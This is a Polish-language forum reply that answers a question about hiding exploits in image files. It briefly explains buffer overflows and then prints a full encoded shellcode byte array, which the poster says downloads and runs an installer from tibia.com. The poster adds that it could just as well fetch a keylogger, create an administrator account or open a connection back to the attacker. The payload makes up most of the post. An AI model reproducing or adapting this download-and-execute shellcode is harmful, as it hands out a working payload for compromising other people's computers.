Krystek99 napisał
Mam pytanie. Exploit to taki "virus"(specjalnie napisałem w cudzysłowiu). A wiec jak do JPGa, Gifa, Tiffa BMP albo czegoś podobnego można wsadzić tego całego exploita?
Nie będę tutaj całego wykładu o zasadach działania pamięci w komputerze robił, ale generalnie polega to na tym że przez jakiś błąd w programie, dane na których ten program operuje ( w tym przypadku jest to obrazek) trafiają do obszaru, który jest zajmowany przez programy ( przepełnienie bufora ) bądź też same w sobie są omyłkowo traktowane jako program...
Jeżeli znamy już taką lukę, to jedyne co nam zostaje to umieścić we wskazanym fragmencie pamięci kod jaki program ma wykonać - tzw. szellkod ( shellcode )... wygląda on mniej więcej tak:
Kod :
unsigned char scode[] =
"\x31\xc9\x83\xe9\xa1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa3"
"\xa9\xc2\x9b\x83\xeb\xfc\xe2\xf4\x48\xb9\x98\xd1\x90\x60\xa4\x22"
"\x9f\xa8\x42\xaf\xa9\x30\x20\x61\x48\xac\x2a\x70\x5c\x56\x3d\xeb"
"\xef\x30\x5b\x02\x60\x54\xfa\x32\x3a\x30\x5b\x89\x7a\x3c\xd0\x72"
"\x26\x9d\xd0\x42\x32\xbb\x83\x89\x49\x0c\xd0\x76\x24\x48\x58\xf1"
"\xb1\x4e\x7b\x01\xc1\xbb\x15\x16\x09\xdd\x0d\x55\x6b\xbb\x64\x01"
"\xc1\xbb\xa9\x68\x34\x69\xa8\xa4\x4e\x38\x02\x5d\xb9\xf7\x5f\x47"
"\xd8\xd9\x02\x5d\x64\xbb\x96\x89\x7c\x14\x58\xc1\xeb\xd1\x58\xc3"
"\x09\xf9\x3d\x89\x32\xbb\x1d\x1e\x39\xf3\x9a\xe3\x38\x33\x9a\x89"
"\x3a\x33\x98\x89\xc0\xbb\xac\x81\xfc\x3e\xd0\xd2\x50\x34\x02\xea"
"\x6a\x30\x5b\x02\xb9\xf6\x56\x50\x6c\xcf\x0c\xfe\x60\xbb\x83\x68"
"\x3b\x69\xb3\x3f\x3a\x30\x5b\x81\xfc\x23\x0d\x44\xba\x0e\xdb\x77"
"\xc0\xb0\x6d\x82\x64\xb3\xb7\x22\xb1\xec\x31\x22\x69\xcf\x0c\xee"
"\xfd\x34\x58\x5e\x5b\x1e\x3e\xc5\x7e\x33\x5f\x7a\x5f\x30\x5b\x31"
"\xfa\x60\x0b\x51\x6c\x60\xa4\x55\xc6\xbb\x87\x52\x69\xcf\x0c\xf2"
"\x6a\xcf\x0c\xf6\x09\xf0\xf7\x87\xfa\x45\xa2\x53\x68\x66\x08\xfd"
"\xe8\x6a\x02\xa9\xd8\xde\x68\xc2\xf9\xd8\x7d\xfd\xc5\xcf\x1c\x67"
"\x4e\x60\x29\x6d\x59\x71\x3f\x66\x48\x55\x28\x71\x3a\x77\x3e\x76"
"\x69\x49\x28\x76\x5f\x5d\x1f\x6b\x48\x55\x38\x76\x55\x42\x22\x43"
"\x3a\x67\x32\x6c\x7f\x48\x3e\x61\x3a\x75\x23\x6b\x4e\x64\x33\x70"
"\x5f\x51\x3f\x02\x76\x5f\x3a\x66\x76\x59\x39\x70\x5b\x42\x22\x43"
"\x3a\x45\x29\x6e\x57\x5f\x35\x02\x6f\x62\x17\x46\x55\x47\x35\x6e"
"\x55\x51\x3f\x56\x55\x76\x32\x6e\x5f\x71\x5b\xf3\xd7\xdd\xb2\xa1"
"\x8c\x86\xa6\xf4\xd4\xc7\xae\xf4\xc2\xcd\xf1\xb5\xd7\xc0\xa0\xf2"
"\xc2\x87\xa1\xf4\xce\x86\xb6\xf2\xc1\xc0\xa3\xac\x9a\x9b\xec\xfe"
"\xdb\xcc\x42\x9b";
Ten akurat ma za zadanie pobrać ze strony tibia.com i uruchomić instalator tibi - ale można równie dobrze w to miejsce co innego wrzucić - inny plik do pobrania (np keylogger) albo dowolną inną komendę - stworzenie nowego konta administratora na komputerze, otworzenie "bramki" która łączy się z komputerem napastnika... każda operacja jaką może wykonać komputer...
Zakładki